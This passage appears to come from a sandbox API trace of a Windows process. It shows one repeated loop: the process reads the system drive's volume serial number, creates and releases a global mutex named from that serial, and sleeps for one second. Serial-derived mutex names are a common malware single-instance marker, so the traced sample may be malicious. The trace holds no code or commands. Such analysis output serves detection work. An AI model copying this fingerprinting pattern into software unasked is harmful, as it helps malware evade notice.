returned 0xca47b0 [0241.705] GetProcessHeap () returned 0xc10000 [0241.705] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b10 [0241.705] GetProcessHeap () returned 0xc10000 [0241.705] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b10, Size=0x72) returned 0x33d2348 [0241.705] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0241.705] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x388 [0241.705] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0x0) returned 0x0 [0241.705] GetProcessHeap () returned 0xc10000 [0241.705] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca47b0 | out: hHeap=0xc10000) returned 1 [0241.705] GetProcessHeap () returned 0xc10000 [0241.705] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2348 | out: hHeap=0xc10000) returned 1 [0241.705] ReleaseMutex (hMutex=0x388) returned 1 [0241.706] CloseHandle (hObject=0x388) returned 1 [0241.706] Sleep (dwMilliseconds=0x3e8) [0242.872] GetProcessHeap () returned 0xc10000 [0242.872] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0242.872] GetProcessHeap () returned 0xc10000 [0242.872] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec00 [0242.872] GetProcessHeap () returned 0xc10000 [0242.873] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eef8 [0242.873] GetProcessHeap () returned 0xc10000 [0242.873] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900080 [0242.873] GetProcessHeap () returned 0xc10000 [0242.873] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900080 | out: hHeap=0xc10000) returned 1 [0242.873] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0242.873] GetProcessHeap () returned 0xc10000 [0242.873] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eef8 | out: hHeap=0xc10000) returned 1 [0242.873] GetProcessHeap () returned 0xc10000 [0242.873] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0242.873] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0242.874] GetProcessHeap () returned 0xc10000 [0242.874] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec00 | out: hHeap=0xc10000) returned 1 [0242.874] GetProcessHeap () returned 0xc10000 [0242.874] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4ac8 [0242.874] GetProcessHeap () returned 0xc10000 [0242.874] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4720 [0242.874] GetProcessHeap () returned 0xc10000 [0242.874] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4720, Size=0x72) returned 0x33d2948 [0242.874] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0242.875] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x318 [0242.875] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x0 [0242.875] GetProcessHeap () returned 0xc10000 [0242.875] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4ac8 | out: hHeap=0xc10000) returned 1 [0242.875] GetProcessHeap () returned 0xc10000 [0242.875] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2948 | out: hHeap=0xc10000) returned 1 [0242.875] ReleaseMutex (hMutex=0x318) returned 1 [0242.875] CloseHandle (hObject=0x318) returned 1 [0242.875] Sleep (dwMilliseconds=0x3e8) [0244.049] GetProcessHeap () returned 0xc10000 [0244.049] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eac0 [0244.049] GetProcessHeap () returned 0xc10000 [0244.049] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ef48 [0244.049] GetProcessHeap () returned 0xc10000 [0244.049] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed68 [0244.049] GetProcessHeap () returned 0xc10000 [0244.049] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900ec0 [0244.049] GetProcessHeap () returned 0xc10000 [0244.049] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900ec0 | out: hHeap=0xc10000) returned 1 [0244.049] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ef48, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0244.049] GetProcessHeap () returned 0xc10000 [0244.050] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0244.050] GetProcessHeap () returned 0xc10000 [0244.050] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eac0 | out: hHeap=0xc10000) returned 1 [0244.050] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0244.050] GetProcessHeap () returned 0xc10000 [0244.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0244.051] GetProcessHeap () returned 0xc10000 [0244.051] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4be8 [0244.051] GetProcessHeap () returned 0xc10000 [0244.051] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4d50 [0244.051] GetProcessHeap () returned 0xc10000 [0244.051] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4d50, Size=0x72) returned 0xcfa120 [0244.051] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0244.051] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x374 [0244.051] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x0) returned 0x0 [0244.051] GetProcessHeap () returned 0xc10000 [0244.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4be8 | out: hHeap=0xc10000) returned 1 [0244.051] GetProcessHeap () returned 0xc10000 [0244.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa120 | out: hHeap=0xc10000) returned 1 [0244.051] ReleaseMutex (hMutex=0x374) returned 1 [0244.051] CloseHandle (hObject=0x374) returned 1 [0244.051] Sleep (dwMilliseconds=0x3e8) [0245.350] GetProcessHeap () returned 0xc10000 [0245.350] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0245.351] GetProcessHeap () returned 0xc10000 [0245.351] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec50 [0245.351] GetProcessHeap () returned 0xc10000 [0245.351] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb38 [0245.351] GetProcessHeap () returned 0xc10000 [0245.351] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39005d8 [0245.351] GetProcessHeap () returned 0xc10000 [0245.351] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39005d8 | out: hHeap=0xc10000) returned 1 [0245.351] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0245.351] GetProcessHeap () returned 0xc10000 [0245.351] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0245.351] GetProcessHeap () returned 0xc10000 [0245.351] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0245.351] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0245.357] GetProcessHeap () returned 0xc10000 [0245.357] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec50 | out: hHeap=0xc10000) returned 1 [0245.357] GetProcessHeap () returned 0xc10000 [0245.357] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4cc0 [0245.357] GetProcessHeap () returned 0xc10000 [0245.357] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca47f8 [0245.357] GetProcessHeap () returned 0xc10000 [0245.357] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca47f8, Size=0x72) returned 0xcf9fa0 [0245.357] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0245.358] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x340 [0245.358] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0x0) returned 0x0 [0245.358] GetProcessHeap () returned 0xc10000 [0245.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4cc0 | out: hHeap=0xc10000) returned 1 [0245.358] GetProcessHeap () returned 0xc10000 [0245.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9fa0 | out: hHeap=0xc10000) returned 1 [0245.358] ReleaseMutex (hMutex=0x340) returned 1 [0245.358] CloseHandle (hObject=0x340) returned 1 [0245.358] Sleep (dwMilliseconds=0x3e8) [0246.584] GetProcessHeap () returned 0xc10000 [0246.584] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eb38 [0246.584] GetProcessHeap () returned 0xc10000 [0246.584] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb88 [0246.584] GetProcessHeap () returned 0xc10000 [0246.584] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ede0 [0246.584] GetProcessHeap () returned 0xc10000 [0246.584] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39005d8 [0246.584] GetProcessHeap () returned 0xc10000 [0246.584] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39005d8 | out: hHeap=0xc10000) returned 1 [0246.584] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0246.584] GetProcessHeap () returned 0xc10000 [0246.584] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ede0 | out: hHeap=0xc10000) returned 1 [0246.584] GetProcessHeap () returned 0xc10000 [0246.584] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0246.584] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0246.585] GetProcessHeap () returned 0xc10000 [0246.585] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0246.585] GetProcessHeap () returned 0xc10000 [0246.585] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4d50 [0246.585] GetProcessHeap () returned 0xc10000 [0246.585] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49a8 [0246.585] GetProcessHeap () returned 0xc10000 [0246.585] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49a8, Size=0x72) returned 0xcf9f20 [0246.585] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0246.586] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x398 [0246.586] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x0) returned 0x0 [0246.586] GetProcessHeap () returned 0xc10000 [0246.586] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4d50 | out: hHeap=0xc10000) returned 1 [0246.586] GetProcessHeap () returned 0xc10000 [0246.586] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcf9f20 | out: hHeap=0xc10000) returned 1 [0246.586] ReleaseMutex (hMutex=0x398) returned 1 [0246.586] CloseHandle (hObject=0x398) returned 1 [0246.586] Sleep (dwMilliseconds=0x3e8) [0247.802] GetProcessHeap () returned 0xc10000 [0247.802] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee58 [0247.802] GetProcessHeap () returned 0xc10000 [0247.802] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed68 [0247.802] GetProcessHeap () returned 0xc10000 [0247.802] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb88 [0247.802] GetProcessHeap () returned 0xc10000 [0247.802] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900248 [0247.802] GetProcessHeap () returned 0xc10000 [0247.802] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900248 | out: hHeap=0xc10000) returned 1 [0247.802] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0247.802] GetProcessHeap () returned 0xc10000 [0247.802] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0247.802] GetProcessHeap () returned 0xc10000 [0247.803] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee58 | out: hHeap=0xc10000) returned 1 [0247.803] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0247.804] GetProcessHeap () returned 0xc10000 [0247.804] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0247.804] GetProcessHeap () returned 0xc10000 [0247.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4d50 [0247.804] GetProcessHeap () returned 0xc10000 [0247.804] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4ac8 [0247.804] GetProcessHeap () returned 0xc10000 [0247.804] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4ac8, Size=0x72) returned 0xcfa120 [0247.804] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0247.804] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x394 [0247.805] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0x0) returned 0x0 [0247.805] GetProcessHeap () returned 0xc10000 [0247.805] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4d50 | out: hHeap=0xc10000) returned 1 [0247.805] GetProcessHeap () returned 0xc10000 [0247.805] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa120 | out: hHeap=0xc10000) returned 1 [0247.805] ReleaseMutex (hMutex=0x394) returned 1 [0247.805] CloseHandle (hObject=0x394) returned 1 [0247.805] Sleep (dwMilliseconds=0x3e8) [0249.016] GetProcessHeap () returned 0xc10000 [0249.016] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eae8 [0249.016] GetProcessHeap () returned 0xc10000 [0249.016] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ee80 [0249.016] GetProcessHeap () returned 0xc10000 [0249.017] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb38 [0249.017] GetProcessHeap () returned 0xc10000 [0249.017] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900c60 [0249.017] GetProcessHeap () returned 0xc10000 [0249.017] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900c60 | out: hHeap=0xc10000) returned 1 [0249.017] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ee80, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0249.017] GetProcessHeap () returned 0xc10000 [0249.017] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0249.017] GetProcessHeap () returned 0xc10000 [0249.017] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eae8 | out: hHeap=0xc10000) returned 1 [0249.017] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0249.018] GetProcessHeap () returned 0xc10000 [0249.018] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee80 | out: hHeap=0xc10000) returned 1 [0249.018] GetProcessHeap () returned 0xc10000 [0249.018] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca48d0 [0249.018] GetProcessHeap () returned 0xc10000 [0249.018] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4c78 [0249.018] GetProcessHeap () returned 0xc10000 [0249.018] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4c78, Size=0x72) returned 0xcfa3a0 [0249.018] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0249.019] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x340 [0249.019] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0x0) returned 0x0 [0249.019] GetProcessHeap () returned 0xc10000 [0249.019] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca48d0 | out: hHeap=0xc10000) returned 1 [0249.019] GetProcessHeap () returned 0xc10000 [0249.019] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa3a0 | out: hHeap=0xc10000) returned 1 [0249.019] ReleaseMutex (hMutex=0x340) returned 1 [0249.019] CloseHandle (hObject=0x340) returned 1 [0249.019] Sleep (dwMilliseconds=0x3e8) [0250.136] GetProcessHeap () returned 0xc10000 [0250.136] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eea8 [0250.136] GetProcessHeap () returned 0xc10000 [0250.136] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec00 [0250.136] GetProcessHeap () returned 0xc10000 [0250.136] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed68 [0250.136] GetProcessHeap () returned 0xc10000 [0250.136] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39008d0 [0250.137] GetProcessHeap () returned 0xc10000 [0250.137] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39008d0 | out: hHeap=0xc10000) returned 1 [0250.137] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0250.137] GetProcessHeap () returned 0xc10000 [0250.137] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0250.137] GetProcessHeap () returned 0xc10000 [0250.137] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eea8 | out: hHeap=0xc10000) returned 1 [0250.137] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0250.139] GetProcessHeap () returned 0xc10000 [0250.139] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec00 | out: hHeap=0xc10000) returned 1 [0250.139] GetProcessHeap () returned 0xc10000 [0250.139] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4720 [0250.139] GetProcessHeap () returned 0xc10000 [0250.139] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b58 [0250.139] GetProcessHeap () returned 0xc10000 [0250.139] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b58, Size=0x72) returned 0xcfa2a0 [0250.139] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0250.139] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x39c [0250.139] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0x0) returned 0x0 [0250.139] GetProcessHeap () returned 0xc10000 [0250.139] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4720 | out: hHeap=0xc10000) returned 1 [0250.139] GetProcessHeap () returned 0xc10000 [0250.140] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa2a0 | out: hHeap=0xc10000) returned 1 [0250.140] ReleaseMutex (hMutex=0x39c) returned 1 [0250.140] CloseHandle (hObject=0x39c) returned 1 [0250.140] Sleep (dwMilliseconds=0x3e8) [0251.219] GetProcessHeap () returned 0xc10000 [0251.219] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eb38 [0251.219] GetProcessHeap () returned 0xc10000 [0251.219] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ebd8 [0251.219] GetProcessHeap () returned 0xc10000 [0251.219] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb88 [0251.219] GetProcessHeap () returned 0xc10000 [0251.219] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900c60 [0251.220] GetProcessHeap () returned 0xc10000 [0251.220] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900c60 | out: hHeap=0xc10000) returned 1 [0251.220] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ebd8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0251.220] GetProcessHeap () returned 0xc10000 [0251.220] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0251.220] GetProcessHeap () returned 0xc10000 [0251.220] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0251.220] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0251.220] GetProcessHeap () returned 0xc10000 [0251.220] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ebd8 | out: hHeap=0xc10000) returned 1 [0251.220] GetProcessHeap () returned 0xc10000 [0251.220] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4720 [0251.220] GetProcessHeap () returned 0xc10000 [0251.220] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4960 [0251.221] GetProcessHeap () returned 0xc10000 [0251.221] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4960, Size=0x72) returned 0xcfa020 [0251.221] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0251.221] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x390 [0251.221] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0x0) returned 0x0 [0251.221] GetProcessHeap () returned 0xc10000 [0251.221] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4720 | out: hHeap=0xc10000) returned 1 [0251.221] GetProcessHeap () returned 0xc10000 [0251.221] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcfa020 | out: hHeap=0xc10000) returned 1 [0251.221] ReleaseMutex (hMutex=0x390) returned 1 [0251.221] CloseHandle (hObject=0x390) returned 1 [0251.221] Sleep (dwMilliseconds=0x3e8) [0252.517] GetProcessHeap () returned 0xc10000 [0252.517] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ebd8 [0252.517] GetProcessHeap () returned 0xc10000 [0252.517] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec50 [0252.517] GetProcessHeap () returned 0xc10000 [0252.517] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ec00 [0252.517] GetProcessHeap () returned 0xc10000 [0252.517] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39002e0 [0252.517] GetProcessHeap () returned 0xc10000 [0252.517] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39002e0 | out: hHeap=0xc10000) returned 1 [0252.517] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0252.517] GetProcessHeap () returned 0xc10000 [0252.517] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec00 | out: hHeap=0xc10000) returned 1 [0252.517] GetProcessHeap () returned 0xc10000 [0252.517] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ebd8 | out: hHeap=0xc10000) returned 1 [0252.517] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, 